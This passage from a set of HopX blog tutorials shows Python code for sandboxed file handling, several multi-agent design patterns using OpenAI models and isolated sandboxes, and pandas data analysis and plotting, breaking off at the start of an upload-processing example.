sandbox = Sandbox.create(template="code-interpreter")
# Create unique temp directory per operation
session_id = str(uuid.uuid4())[:8]
temp_dir = f"/tmp/session_{session_id}"
sandbox.commands.run(f"mkdir -p {temp_dir}")
# All operations in isolated directory
sandbox.files.write(f"{temp_dir}/input.txt", data)
sandbox.commands.run(f"cd {temp_dir} && process_file input.txt output.txt")
result = sandbox.files.read(f"{temp_dir}/output.txt")
# Clean up
sandbox.commands.run(f"rm -rf {temp_dir}")
```
### 5. Quota Management
Monitor and limit disk usage:
```python
from hopx import Sandbox
sandbox = Sandbox.create(template="code-interpreter")
def check_disk_usage(sandbox, max_usage_mb=500):
"""Check disk usage in sandbox"""
result = sandbox.commands.run("df -m /app | tail -1 | awk '{print $3}'")
used_mb = int(result.stdout.strip())
if used_mb > max_usage_mb:
raise Exception(f"Disk usage ({used_mb}MB) exceeds limit ({max_usage_mb}MB)")
return used_mb
# Check before operations
usage = check_disk_usage(sandbox)
print(f"Current usage: {usage}MB")
```
## Common Patterns
### Process and Return Results
```python
from hopx import Sandbox
import json
def process_data_file(input_file: bytes, processing_code: str) -> dict:
"""Process a data file and return results"""
sandbox = Sandbox.create(template="code-interpreter")
try:
# Upload input
sandbox.files.write("/app/input.data", input_file)
# Write and run processing code
sandbox.files.write("/app/process.py", processing_code)
result = sandbox.commands.run("cd /app && python process.py")
if result.exit_code != 0:
return {"error": result.stderr}
# Return output
return {"output": result.stdout, "success": True}
finally:
sandbox.kill()
```
### Batch File Processing
```python
from hopx import Sandbox
import concurrent.futures
def process_files_batch(files: list[tuple[str, bytes]]) -> list:
"""Process multiple files in parallel sandboxes"""
def process_single(name_and_data):
name, data = name_and_data
sandbox = Sandbox.create(template="code-interpreter")
try:
sandbox.files.write(f"/app/{name}", data)
result = sandbox.commands.run(f"python /app/analyze.py /app/{name}")
return {"name": name, "result": result.stdout}
finally:
sandbox.kill()
with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
results = list(executor.map(process_single, files))
return results
```
### File Transformation Pipeline
```python
from hopx import Sandbox
def transform_pipeline(input_file: bytes, transformations: list[str]) -> bytes:
"""Apply a series of transformations to a file"""
sandbox = Sandbox.create(template="code-interpreter")
try:
# Start with input
sandbox.files.write("/app/current.data", input_file)
# Apply each transformation
for i, transform in enumerate(transformations):
sandbox.files.write(f"/app/transform_{i}.py", transform)
sandbox.commands.run(
f"python /app/transform_{i}.py /app/current.data /app/next.data"
)
sandbox.commands.run("mv /app/next.data /app/current.data")
# Return final result
return sandbox.files.read("/app/current.data")
finally:
sandbox.kill()
```
## Conclusion
Secure file operations are essential for AI agents that work with user data. HopX sandboxes provide:
- **Isolation** - Files never touch your host system
- **Security** - Each sandbox has its own filesystem
- **Flexibility** - Full Linux filesystem capabilities
- **Simplicity** - Clean API for common operations
By following the patterns and best practices in this guide, you can build AI agents that safely process any type of file.
## Resources
- [HopX Files API Reference](https://hopx.ai/docs/api/files)
- [Security Best Practices](https://hopx.ai/docs/security)
- [Python File Handling Guide](https://docs.python.org/3/tutorial/inputoutput.html#reading-and-writing-files)
---
## Multi-Agent Architectures with HopX
URL: https://hopx.ai/blog/deep-dives/multi-agent-architectures-with-hopx/
Category: Deep Dives
Published: 2025-11-19
# Multi-Agent Architectures with HopX
Single agents have limits. Complex tasks benefit from multiple specialized agents working together—a researcher, a coder, a reviewer. But running multiple agents with code execution capabilities creates security and coordination challenges.
HopX solves this by giving each agent its own isolated sandbox while enabling seamless coordination between them.
## Why Multi-Agent?
**Single agent limitations:**
- Context window limits
- Jack of all trades, master of none
- Single point of failure
- Sequential processing only
**Multi-agent advantages:**
- Specialized expertise per agent
- Parallel task execution
- Redundancy and fault tolerance
- Modular, maintainable systems
## Multi-Agent Patterns
### Pattern 1: Supervisor-Worker
A supervisor agent delegates tasks to specialized worker agents:
```
┌─────────────────┐
│ Supervisor │
│ Agent │
└────────┬────────┘
│
┌────┴────┐
│ │
┌───▼───┐ ┌───▼───┐ ┌───▼───┐
│Worker │ │Worker │ │Worker │
│Coder │ │Analyst│ │Writer │
└───────┘ └───────┘ └───────┘
```
Implementation:
```python
from hopx import Sandbox
import openai
import json
class SupervisorAgent:
def __init__(self):
self.client = openai.OpenAI()
self.workers = {
"coder": CoderWorker(),
"analyst": AnalystWorker(),
"writer": WriterWorker()
}
def process(self, task: str) -> str:
# Supervisor decides which workers to use
plan = self._create_plan(task)
results = {}
for step in plan["steps"]:
worker = self.workers[step["worker"]]
result = worker.execute(step["task"], results)
results[step["id"]] = result
return self._synthesize(results)
def _create_plan(self, task: str) -> dict:
response = self.client.chat.completions.create(
model="gpt-4o",
messages=[{
"role": "system",
"content": """You are a task planner. Break down tasks into steps.
Available workers: coder, analyst, writer.
Return JSON: {"steps": [{"id": "step1", "worker": "coder", "task": "..."}]}"""
}, {
"role": "user",
"content": task
}],
response_format={"type": "json_object"}
)
return json.loads(response.choices[0].message.content)
class CoderWorker:
def execute(self, task: str, context: dict) -> str:
sandbox = Sandbox.create(template="code-interpreter")
try:
# Generate code based on task
code = self._generate_code(task, context)
# Execute in isolated sandbox
sandbox.files.write("/app/task.py", code)
result = sandbox.commands.run("cd /app && python task.py")
return {
"code": code,
"output": result.stdout,
"error": result.stderr if result.exit_code != 0 else None
}
finally:
sandbox.kill()
class AnalystWorker:
def execute(self, task: str, context: dict) -> str:
sandbox = Sandbox.create(template="code-interpreter")
try:
# Write analysis code
analysis_code = self._generate_analysis(task, context)
sandbox.files.write("/app/analyze.py", analysis_code)
# If previous step produced data, upload it
if "data" in context:
sandbox.files.write("/app/data.json", json.dumps(context["data"]))
result = sandbox.commands.run("cd /app && python analyze.py")
return {"analysis": result.stdout}
finally:
sandbox.kill()
class WriterWorker:
def execute(self, task: str, context: dict) -> str:
# Writer doesn't need sandbox - just text generation
response = openai.chat.completions.create(
model="gpt-4o",
messages=[{
"role": "system",
"content": "You are a technical writer. Create clear documentation."
}, {
"role": "user",
"content": f"Write about: {task}\n\nContext: {json.dumps(context)}"
}]
)
return {"document": response.choices[0].message.content}
# Usage
supervisor = SupervisorAgent()
result = supervisor.process(
"Analyze the Titanic dataset, create a survival prediction model, "
"and write a report explaining the findings."
)
```
### Pattern 2: Debate/Adversarial
Multiple agents debate or challenge each other's work:
```
┌─────────────────┐
│ Proposer │◄─────┐
│ Agent │ │
└────────┬────────┘ │
│ │
▼ │
┌─────────────────┐ │
│ Critic │──────┘
│ Agent │
└────────┬────────┘
│
▼
┌─────────────────┐
│ Synthesizer │
│ Agent │
└─────────────────┘
```
Implementation:
```python
from hopx import Sandbox
import openai
class CodeDebateSystem:
def __init__(self):
self.client = openai.OpenAI()
self.max_rounds = 3
def solve(self, problem: str) -> str:
"""Solve a coding problem through debate"""
# Initial proposal
proposal = self._propose(problem)
for round in range(self.max_rounds):
# Critic reviews and tests the code
critique = self._critique(problem, proposal)
if critique["approved"]:
break
# Proposer improves based on feedback
proposal = self._improve(problem, proposal, critique)
return proposal["code"]
def _propose(self, problem: str) -> dict:
"""Proposer agent generates initial solution"""
response = self.client.chat.completions.create(
model="gpt-4o",
messages=[{
"role": "system",
"content": "You are a Python expert. Solve coding problems."
}, {
"role": "user",
"content": problem
}]
)
code = self._extract_code(response.choices[0].message.content)
return {"code": code, "reasoning": response.choices[0].message.content}
def _critique(self, problem: str, proposal: dict) -> dict:
"""Critic agent tests and reviews the code"""
sandbox = Sandbox.create(template="code-interpreter")
try:
# Test the proposed code
sandbox.files.write("/app/solution.py", proposal["code"])
result = sandbox.commands.run("cd /app && python solution.py")
# Generate critique
response = self.client.chat.completions.create(
model="gpt-4o",
messages=[{
"role": "system",
"content": """You are a code reviewer. Analyze code for:
1. Correctness
2. Edge cases
3. Performance
4. Readability
Return JSON: {"approved": bool, "issues": [...], "suggestions": [...]}"""
}, {
"role": "user",
"content": f"""Problem: {problem}
Code:
{proposal['code']}
Execution result:
stdout: {result.stdout}
stderr: {result.stderr}
exit_code: {result.exit_code}"""
}],
response_format={"type": "json_object"}
)
return json.loads(response.choices[0].message.content)
finally:
sandbox.kill()
def _improve(self, problem: str, proposal: dict, critique: dict) -> dict:
"""Proposer improves based on critique"""
response = self.client.chat.completions.create(
model="gpt-4o",
messages=[{
"role": "system",
"content": "Improve the code based on the feedback."
}, {
"role": "user",
"content": f"""Problem: {problem}
Current code:
{proposal['code']}
Critique:
{json.dumps(critique)}
Please provide improved code addressing all issues."""
}]
)
code = self._extract_code(response.choices[0].message.content)
return {"code": code, "reasoning": response.choices[0].message.content}
# Usage
debate_system = CodeDebateSystem()
solution = debate_system.solve(
"Write a function to find the longest palindromic substring in a string. "
"It should handle edge cases and be efficient."
)
```
### Pattern 3: Assembly Line (Pipeline)
Agents process data sequentially, each adding value:
```
Input → [Agent 1] → [Agent 2] → [Agent 3] → Output
Extract Transform Validate
```
Implementation:
```python
from hopx import Sandbox
from dataclasses import dataclass
from typing import Any
@dataclass
class PipelineContext:
data: Any
metadata: dict
errors: list
class PipelineAgent:
"""Base class for pipeline agents"""
def process(self, context: PipelineContext) -> PipelineContext:
raise NotImplementedError
class DataExtractor(PipelineAgent):
"""Extracts data from raw input"""
def process(self, context: PipelineContext) -> PipelineContext:
sandbox = Sandbox.create(template="code-interpreter")
try:
# Upload raw data
sandbox.files.write("/app/raw_data.txt", context.data)
# Run extraction
sandbox.files.write("/app/extract.py", """
import json
with open('/app/raw_data.txt') as f:
raw = f.read()
# Parse and extract structured data
extracted = {
'lines': raw.strip().split('\\n'),
'word_count': len(raw.split()),
'char_count': len(raw)
}
with open('/app/extracted.json', 'w') as f:
json.dump(extracted, f)
print(json.dumps(extracted))
""")
result = sandbox.commands.run("cd /app && python extract.py")
context.data = json.loads(result.stdout)
context.metadata["extraction_complete"] = True
return context
finally:
sandbox.kill()
class DataTransformer(PipelineAgent):
"""Transforms extracted data"""
def process(self, context: PipelineContext) -> PipelineContext:
sandbox = Sandbox.create(template="code-interpreter")
try:
sandbox.files.write("/app/data.json", json.dumps(context.data))
sandbox.files.write("/app/transform.py", """
import json
with open('/app/data.json') as f:
data = json.load(f)
# Transform: add computed fields
transformed = data.copy()
transformed['avg_line_length'] = data['char_count'] / max(len(data['lines']), 1)
transformed['lines_processed'] = [line.strip().upper() for line in data['lines']]
with open('/app/transformed.json', 'w') as f:
json.dump(transformed, f)
print(json.dumps(transformed))
""")
result = sandbox.commands.run("cd /app && python transform.py")
context.data = json.loads(result.stdout)
context.metadata["transformation_complete"] = True
return context
finally:
sandbox.kill()
class DataValidator(PipelineAgent):
"""Validates transformed data"""
def process(self, context: PipelineContext) -> PipelineContext:
sandbox = Sandbox.create(template="code-interpreter")
try:
sandbox.files.write("/app/data.json", json.dumps(context.data))
sandbox.files.write("/app/validate.py", """
import json
import sys
with open('/app/data.json') as f:
data = json.load(f)
errors = []
# Validation rules
if data.get('word_count', 0) < 1:
errors.append("No words found")
if data.get('avg_line_length', 0) > 1000:
errors.append("Lines too long")
if not data.get('lines_processed'):
errors.append("No processed lines")
result = {
'valid': len(errors) == 0,
'errors': errors,
'data': data
}
print(json.dumps(result))
""")
result = sandbox.commands.run("cd /app && python validate.py")
validation = json.loads(result.stdout)
context.errors.extend(validation["errors"])
context.metadata["validation_complete"] = True
context.metadata["valid"] = validation["valid"]
return context
finally:
sandbox.kill()
class Pipeline:
def __init__(self, agents: list[PipelineAgent]):
self.agents = agents
def run(self, input_data: Any) -> PipelineContext:
context = PipelineContext(
data=input_data,
metadata={},
errors=[]
)
for agent in self.agents:
context = agent.process(context)
# Stop on critical errors
if context.errors and not context.metadata.get("continue_on_error"):
break
return context
# Usage
pipeline = Pipeline([
DataExtractor(),
DataTransformer(),
DataValidator()
])
result = pipeline.run("Hello World\nThis is a test\nMultiple lines here")
print(f"Valid: {result.metadata['valid']}")
print(f"Final data: {result.data}")
```
### Pattern 4: Parallel Specialists
Multiple specialized agents work simultaneously:
```
┌───────────┐
│ Task │
│ Router │
└─────┬─────┘
│
┌────────────┼────────────┐
│ │ │
▼ ▼ ▼
┌─────────┐ ┌─────────┐ ┌─────────┐
│ Math │ │ Code │ │Research │
│ Expert │ │ Expert │ │ Expert │
└────┬────┘ └────┬────┘ └────┬────┘
│ │ │
└────────────┼────────────┘
│
┌─────▼─────┐
│ Result │
│ Merger │
└───────────┘
```
Implementation:
```python
from hopx import Sandbox
import concurrent.futures
import openai
class ParallelAgentSystem:
def __init__(self):
self.client = openai.OpenAI()
self.specialists = {
"math": MathExpert(),
"code": CodeExpert(),
"research": ResearchExpert()
}
def solve(self, task: str) -> str:
# Route task to relevant specialists
relevant = self._identify_specialists(task)
# Execute in parallel
with concurrent.futures.ThreadPoolExecutor(max_workers=len(relevant)) as executor:
futures = {
executor.submit(self.specialists[name].solve, task): name
for name in relevant
}
results = {}
for future in concurrent.futures.as_completed(futures):
name = futures[future]
results[name] = future.result()
# Merge results
return self._merge_results(task, results)
def _identify_specialists(self, task: str) -> list[str]:
"""Determine which specialists are needed"""
response = self.client.chat.completions.create(
model="gpt-4o",
messages=[{
"role": "system",
"content": """Identify which specialists are needed.
Available: math, code, research
Return JSON: {"specialists": ["math", "code"]}"""
}, {
"role": "user",
"content": task
}],
response_format={"type": "json_object"}
)
return json.loads(response.choices[0].message.content)["specialists"]
def _merge_results(self, task: str, results: dict) -> str:
"""Combine results from all specialists"""
response = self.client.chat.completions.create(
model="gpt-4o",
messages=[{
"role": "system",
"content": "Synthesize the results from multiple specialists into a coherent answer."
}, {
"role": "user",
"content": f"Task: {task}\n\nResults:\n{json.dumps(results, indent=2)}"
}]
)
return response.choices[0].message.content
class MathExpert:
def solve(self, task: str) -> dict:
sandbox = Sandbox.create(template="code-interpreter")
try:
# Use symbolic math
sandbox.commands.run("pip install sympy -q")
code = f'''
import sympy as sp
from sympy import symbols, solve, simplify, diff, integrate
# Math computation based on task
x, y, z = symbols('x y z')
# Example: solve equations, compute derivatives, etc.
# This would be generated based on the specific math task
result = {{"computed": True, "method": "symbolic"}}
print(result)
'''
sandbox.files.write("/app/math.py", code)
result = sandbox.commands.run("cd /app && python math.py")
return {"output": result.stdout, "type": "mathematical"}
finally:
sandbox.kill()
class CodeExpert:
def solve(self, task: str) -> dict:
sandbox = Sandbox.create(template="code-interpreter")
try:
# Generate and test code solution
response = openai.chat.completions.create(
model="gpt-4o",
messages=[{
"role": "system",
"content": "Write Python code to solve this problem."
}, {
"role": "user",
"content": task
}]
)
code = extract_code(response.choices[0].message.content)
sandbox.files.write("/app/solution.py", code)
result = sandbox.commands.run("cd /app && python solution.py")
return {
"code": code,
"output": result.stdout,
"type": "code_solution"
}
finally:
sandbox.kill()
class ResearchExpert:
def solve(self, task: str) -> dict:
# Research doesn't need sandbox
response = openai.chat.completions.create(
model="gpt-4o",
messages=[{
"role": "system",
"content": "Provide research insights and background information."
}, {
"role": "user",
"content": task
}]
)
return {
"research": response.choices[0].message.content,
"type": "research"
}
# Usage
system = ParallelAgentSystem()
answer = system.solve(
"Calculate the area under the curve y=x^2 from 0 to 5, "
"implement a numerical integration in Python, "
"and explain the mathematical theory behind integration."
)
```
## Agent Communication
### Shared Memory via Files
Agents can communicate through files in a shared sandbox:
```python
from hopx import Sandbox
# Create shared sandbox for communication
shared_sandbox = Sandbox.create(template="code-interpreter")
class Agent:
def __init__(self, name: str, shared: Sandbox):
self.name = name
self.shared = shared
self.mailbox = f"/comm/{name}"
shared.commands.run(f"mkdir -p {self.mailbox}")
def send(self, to: str, message: dict):
"""Send message to another agent"""
import time
msg_id = f"{time.time()}"
path = f"/comm/{to}/{msg_id}.json"
self.shared.files.write(path, json.dumps({
"from": self.name,
"message": message,
"timestamp": msg_id
}))
def receive(self) -> list[dict]:
"""Receive all pending messages"""
messages = []
result = self.shared.commands.run(f"ls {self.mailbox}/*.json 2>/dev/null || true")
for path in result.stdout.strip().split('\n'):
if path:
content = self.shared.files.read(path)
messages.append(json.loads(content))
self.shared.commands.run(f"rm {path}")
return messages
```
### Event-Based Communication
```python
import asyncio
from hopx import Sandbox
class EventBus:
def __init__(self):
self.subscribers = {}
def subscribe(self, event_type: str, callback):
if event_type not in self.subscribers:
self.subscribers[event_type] = []
self.subscribers[event_type].append(callback)
async def publish(self, event_type: str, data: dict):
if event_type in self.subscribers:
for callback in self.subscribers[event_type]:
await callback(data)
class ReactiveAgent:
def __init__(self, name: str, bus: EventBus):
self.name = name
self.bus = bus
self.sandbox = None
async def start(self):
self.sandbox = Sandbox.create(template="code-interpreter")
# Subscribe to relevant events
self.bus.subscribe("task_available", self.on_task)
self.bus.subscribe("data_ready", self.on_data)
async def on_task(self, data: dict):
if data["type"] == self.name:
result = await self.process(data)
await self.bus.publish("task_complete", {
"agent": self.name,
"result": result
})
async def process(self, task: dict) -> dict:
# Execute in sandbox
result = self.sandbox.commands.run(task["command"])
return {"output": result.stdout}
# Usage
bus = EventBus()
agents = [
ReactiveAgent("processor", bus),
ReactiveAgent("validator", bus)
]
async def main():
for agent in agents:
await agent.start()
# Publish a task
await bus.publish("task_available", {
"type": "processor",
"command": "echo 'Processing...'"
})
```
## Best Practices
### 1. Isolate Each Agent
Each agent should have its own sandbox:
```python
class IsolatedAgent:
def __init__(self):
self.sandbox = None
def __enter__(self):
self.sandbox = Sandbox.create(template="code-interpreter")
return self
def __exit__(self, *args):
if self.sandbox:
self.sandbox.kill()
```
### 2. Implement Timeouts
Prevent runaway agents:
```python
import signal
class TimeoutAgent:
def execute(self, task: str, timeout: int = 30):
sandbox = Sandbox.create(template="code-interpreter")
try:
result = sandbox.commands.run(
task,
timeout=timeout
)
return result
except TimeoutError:
sandbox.kill() # Force cleanup
raise
```
### 3. Log Agent Activities
Track what agents do:
```python
import logging
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger("multi_agent")
class LoggedAgent:
def execute(self, task: str):
logger.info(f"Agent {self.name} starting task: {task[:50]}...")
result = self._do_execute(task)
logger.info(f"Agent {self.name} completed. Exit code: {result.exit_code}")
return result
```
### 4. Handle Failures Gracefully
```python
class ResilientAgentSystem:
def execute_with_retry(self, agent, task, max_retries=3):
for attempt in range(max_retries):
try:
return agent.execute(task)
except Exception as e:
logger.warning(f"Attempt {attempt + 1} failed: {e}")
if attempt == max_retries - 1:
raise
time.sleep(2 ** attempt) # Exponential backoff
```
## Conclusion
Multi-agent architectures unlock powerful capabilities:
- **Specialization** - Each agent masters its domain
- **Parallelism** - Execute tasks simultaneously
- **Resilience** - Failure in one agent doesn't break the system
- **Scalability** - Add more agents as needed
HopX sandboxes make this secure by isolating each agent's code execution, preventing one agent from affecting another.
Start building your multi-agent system today with the patterns in this guide.
## Resources
- [LangChain Multi-Agent](https://python.langchain.com/docs/modules/agents/)
- [AutoGen Framework](https://microsoft.github.io/autogen/)
- [HopX Documentation](https://hopx.ai/docs)
---
## Data Analysis with Pandas in Isolated Sandboxes
URL: https://hopx.ai/blog/tutorials/data-analysis-with-pandas-in-sandboxes/
Category: Tutorials
Published: 2025-11-18
# Data Analysis with Pandas in Isolated Sandboxes
Pandas is the backbone of Python data analysis. Combined with HopX sandboxes, you get secure, isolated environments where untrusted data can be processed without risk to your systems.
This guide shows how to run data analysis workflows in sandboxes—from basic operations to advanced visualizations.
## Why Sandbox Your Data Analysis?
**Risks of local data analysis:**
- Malicious files could exploit pandas vulnerabilities
- User-uploaded data might contain code injection
- Resource exhaustion from large datasets
- No isolation between analysis sessions
**Sandbox benefits:**
- Complete isolation from your infrastructure
- Resource limits prevent abuse
- Each analysis runs fresh
- No persistent state between runs
## Getting Started
The `code-interpreter` template comes with pandas, numpy, matplotlib, and other data science packages pre-installed:
```python
from hopx import Sandbox
sandbox = Sandbox.create(template="code-interpreter")
# Verify packages are available
result = sandbox.commands.run("""
python -c "
import pandas as pd
import numpy as np
import matplotlib
print(f'Pandas: {pd.__version__}')
print(f'NumPy: {np.__version__}')
print(f'Matplotlib: {matplotlib.__version__}')
"
""")
print(result.stdout)
```
## Basic Data Operations
### Loading Data
```python
from hopx import Sandbox
sandbox = Sandbox.create(template="code-interpreter")
# Upload a CSV file
csv_data = """name,age,city,salary
Alice,30,New York,75000
Bob,25,San Francisco,85000
Carol,35,Chicago,65000
David,28,Boston,70000
Eve,32,Seattle,90000"""
sandbox.files.write("/app/employees.csv", csv_data)
# Load and explore
result = sandbox.commands.run("""
python -c "
import pandas as pd
df = pd.read_csv('/app/employees.csv')
print('Shape:', df.shape)
print()
print('Columns:', list(df.columns))
print()
print('Data types:')
print(df.dtypes)
print()
print('First few rows:')
print(df.head())
"
""")
print(result.stdout)
```
### Data Filtering and Selection
```python
from hopx import Sandbox
import json
sandbox = Sandbox.create(template="code-interpreter")
# Upload data
sandbox.files.write("/app/data.csv", csv_data)
# Complex filtering
result = sandbox.commands.run("""
python -c "
import pandas as pd
import json
df = pd.read_csv('/app/data.csv')
# Filter: age > 28 AND salary > 70000
filtered = df[(df['age'] > 28) & (df['salary'] > 70000)]
# Select specific columns
selected = filtered[['name', 'salary']]
# Convert to JSON for output
print(selected.to_json(orient='records'))
"
""")
data = json.loads(result.stdout)
print("High earners over 28:", data)
```
### Aggregations and Grouping
```python
from hopx import Sandbox
sandbox = Sandbox.create(template="code-interpreter")
# Sample sales data
sales_data = """product,category,quantity,price,date
Widget A,Electronics,10,99.99,2024-01-15
Widget B,Electronics,5,149.99,2024-01-16
Gadget X,Home,20,29.99,2024-01-15
Gadget Y,Home,15,39.99,2024-01-17
Widget A,Electronics,8,99.99,2024-01-18"""
sandbox.files.write("/app/sales.csv", sales_data)
result = sandbox.commands.run("""
python -c "
import pandas as pd
df = pd.read_csv('/app/sales.csv')
# Calculate revenue
df['revenue'] = df['quantity'] * df['price']
# Group by category
category_stats = df.groupby('category').agg({
'quantity': 'sum',
'revenue': 'sum',
'product': 'nunique' # Count unique products
}).rename(columns={'product': 'unique_products'})
print('Sales by Category:')
print(category_stats)
print()
# Group by product
product_stats = df.groupby('product').agg({
'quantity': 'sum',
'revenue': 'sum'
}).sort_values('revenue', ascending=False)
print('Sales by Product:')
print(product_stats)
"
""")
print(result.stdout)
```
## Data Transformation
### Cleaning and Preprocessing
```python
from hopx import Sandbox
sandbox = Sandbox.create(template="code-interpreter")
# Messy data with issues
messy_data = """id,name,email,phone,signup_date
1,John Doe,JOHN@EXAMPLE.COM,555-1234,2024/01/15
2,jane smith,jane@test.com,,01-20-2024
3,BOB WILSON,bob@company.org,555-5678,2024-01-22
4,,missing@email.com,555-9999,2024-01-25
5,Alice Brown,alice@domain.com,N/A,"""
sandbox.files.write("/app/messy.csv", messy_data)
result = sandbox.commands.run("""
python -c "
import pandas as pd
import numpy as np
df = pd.read_csv('/app/messy.csv')
print('Before cleaning:')
print(df)
print()
# Standardize names (title case)
df['name'] = df['name'].str.title()
# Lowercase emails
df['email'] = df['email'].str.lower()
# Replace 'N/A' with NaN
df = df.replace('N/A', np.nan)
# Parse dates (handle multiple formats)
df['signup_date'] = pd.to_datetime(df['signup_date'], errors='coerce')
# Drop rows with missing critical fields
df_clean = df.dropna(subset=['name', 'email'])
print('After cleaning:')
print(df_clean)
print()
print(f'Rows removed: {len(df) - len(df_clean)}')
"
""")
print(result.stdout)
```
### Merging Datasets
```python
from hopx import Sandbox
sandbox = Sandbox.create(template="code-interpreter")
# Create two related datasets
customers = """customer_id,name,country
1,Alice,USA
2,Bob,UK
3,Carol,Canada
4,David,USA"""
orders = """order_id,customer_id,product,amount
101,1,Widget,99.99
102,2,Gadget,149.99
103,1,Accessory,29.99
104,3,Widget,99.99
105,5,Unknown,50.00""" # Customer 5 doesn't exist
sandbox.files.write("/app/customers.csv", customers)
sandbox.files.write("/app/orders.csv", orders)
result = sandbox.commands.run("""
python -c "
import pandas as pd
customers = pd.read_csv('/app/customers.csv')
orders = pd.read_csv('/app/orders.csv')
# Inner join - only matching records
inner = pd.merge(orders, customers, on='customer_id', how='inner')
print('Inner Join (matching only):')
print(inner)
print()
# Left join - all orders, matching customers
left = pd.merge(orders, customers, on='customer_id', how='left')
print('Left Join (all orders):')
print(left)
print()
# Summary by country
by_country = inner.groupby('country')['amount'].agg(['sum', 'count', 'mean'])
print('Sales by Country:')
print(by_country)
"
""")
print(result.stdout)
```
## Statistical Analysis
### Descriptive Statistics
```python
from hopx import Sandbox
sandbox = Sandbox.create(template="code-interpreter")
# Generate sample data
result = sandbox.commands.run("""
python -c "
import pandas as pd
import numpy as np
# Generate sample dataset
np.random.seed(42)
n = 1000
df = pd.DataFrame({
'age': np.random.normal(35, 10, n).astype(int),
'income': np.random.lognormal(10.5, 0.5, n),
'score': np.random.beta(2, 5, n) * 100,
'category': np.random.choice(['A', 'B', 'C'], n)
})
print('Dataset Shape:', df.shape)
print()
print('Descriptive Statistics:')
print(df.describe())
print()
print('By Category:')
print(df.groupby('category').agg({
'age': 'mean',
'income': 'median',
'score': ['mean', 'std']
}))
"
""")
print(result.stdout)
```
### Correlation Analysis
```python
from hopx import Sandbox
sandbox = Sandbox.create(template="code-interpreter")
result = sandbox.commands.run("""
python -c "
import pandas as pd
import numpy as np
np.random.seed(42)
n = 500
# Create correlated variables
x = np.random.normal(0, 1, n)
y = 0.7 * x + 0.3 * np.random.normal(0, 1, n) # Correlated with x
z = np.random.normal(0, 1, n) # Independent
df = pd.DataFrame({'x': x, 'y': y, 'z': z})
# Correlation matrix
print('Correlation Matrix:')
print(df.corr())
print()
# Spearman correlation (rank-based)
print('Spearman Correlation:')
print(df.corr(method='spearman'))
"
""")
print(result.stdout)
```
## Data Visualization
### Basic Charts
```python
from hopx import Sandbox
sandbox = Sandbox.create(template="code-interpreter")
# Create visualization
result = sandbox.commands.run("""
python -c "
import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
# Sample data
categories = ['Electronics', 'Clothing', 'Food', 'Books', 'Home']
sales = [45000, 32000, 28000, 15000, 22000]
# Create bar chart
fig, axes = plt.subplots(1, 2, figsize=(12, 5))
# Bar chart
axes[0].bar(categories, sales, color='steelblue')
axes[0].set_title('Sales by Category')
axes[0].set_ylabel('Sales ($)')
axes[0].tick_params(axis='x', rotation=45)
# Pie chart
axes[1].pie(sales, labels=categories, autopct='%1.1f%%', startangle=90)
axes[1].set_title('Sales Distribution')
plt.tight_layout()
plt.savefig('/app/sales_charts.png', dpi=150)
print('Charts saved to /app/sales_charts.png')
"
""")
# Download the chart
chart_data = sandbox.files.read("/app/sales_charts.png")
with open("sales_charts.png", "wb") as f:
f.write(chart_data)
print("Chart downloaded!")
```
### Time Series Visualization
```python
from hopx import Sandbox
sandbox = Sandbox.create(template="code-interpreter")
result = sandbox.commands.run("""
python -c "
import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
# Generate time series data
np.random.seed(42)
dates = pd.date_range('2024-01-01', periods=365, freq='D')
base = 100 + np.cumsum(np.random.randn(365) * 2)
seasonal = 10 * np.sin(np.arange(365) * 2 * np.pi / 365)
values = base + seasonal
df = pd.DataFrame({'date': dates, 'value': values})
df.set_index('date', inplace=True)
# Calculate moving average
df['MA_7'] = df['value'].rolling(window=7).mean()
df['MA_30'] = df['value'].rolling(window=30).mean()
# Plot
fig, ax = plt.subplots(figsize=(14, 6))
ax.plot(df.index, df['value'], alpha=0.5, label='Daily', linewidth=0.5)
ax.plot(df.index, df['MA_7'], label='7-day MA', linewidth=1.5)
ax.plot(df.index, df['MA_30'], label='30-day MA', linewidth=2)
ax.set_title('Time Series with Moving Averages')
ax.set_xlabel('Date')
ax.set_ylabel('Value')
ax.legend()
ax.grid(True, alpha=0.3)
plt.tight_layout()
plt.savefig('/app/timeseries.png', dpi=150)
print('Time series chart saved')
"
""")
# Download
ts_chart = sandbox.files.read("/app/timeseries.png")
with open("timeseries.png", "wb") as f:
f.write(ts_chart)
```
### Advanced Visualizations
```python
from hopx import Sandbox
sandbox = Sandbox.create(template="code-interpreter")
result = sandbox.commands.run("""
python -c "
import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
import seaborn as sns
# Generate sample data
np.random.seed(42)
n = 200
df = pd.DataFrame({
'x': np.random.normal(0, 1, n),
'y': np.random.normal(0, 1, n),
'size': np.random.uniform(50, 500, n),
'category': np.random.choice(['A', 'B', 'C'], n)
})
df['y'] = df['y'] + 0.5 * df['x'] # Add correlation
# Create figure with multiple plots
fig, axes = plt.subplots(2, 2, figsize=(12, 10))
# Scatter plot
scatter = axes[0, 0].scatter(df['x'], df['y'], c=df['category'].map({'A': 0, 'B': 1, 'C': 2}),
s=df['size']/5, alpha=0.6, cmap='viridis')
axes[0, 0].set_title('Scatter Plot with Size & Color')
axes[0, 0].set_xlabel('X')
axes[0, 0].set_ylabel('Y')
# Histogram with KDE
for cat in ['A', 'B', 'C']:
subset = df[df['category'] == cat]['x']
axes[0, 1].hist(subset, bins=20, alpha=0.5, label=cat, density=True)
axes[0, 1].set_title('Distribution by Category')
axes[0, 1].legend()
# Box plot
df.boxplot(column='y', by='category', ax=axes[1, 0])
axes[1, 0].set_title('Box Plot by Category')
# Heatmap (correlation)
corr = df[['x', 'y', 'size']].corr()
im = axes[1, 1].imshow(corr, cmap='coolwarm', vmin=-1, vmax=1)
axes[1, 1].set_xticks(range(len(corr.columns)))
axes[1, 1].set_yticks(range(len(corr.columns)))
axes[1, 1].set_xticklabels(corr.columns)
axes[1, 1].set_yticklabels(corr.columns)
axes[1, 1].set_title('Correlation Heatmap')
plt.colorbar(im, ax=axes[1, 1])
plt.suptitle('Data Analysis Dashboard', fontsize=14, y=1.02)
plt.tight_layout()
plt.savefig('/app/dashboard.png', dpi=150, bbox_inches='tight')
print('Dashboard saved')
"
""")
dashboard = sandbox.files.read("/app/dashboard.png")
with open("dashboard.png", "wb") as f:
f.write(dashboard)
```
## Processing User-Uploaded Data
Here's a complete pattern for safely processing user uploads:
```python
from hopx import Sandbox
import json
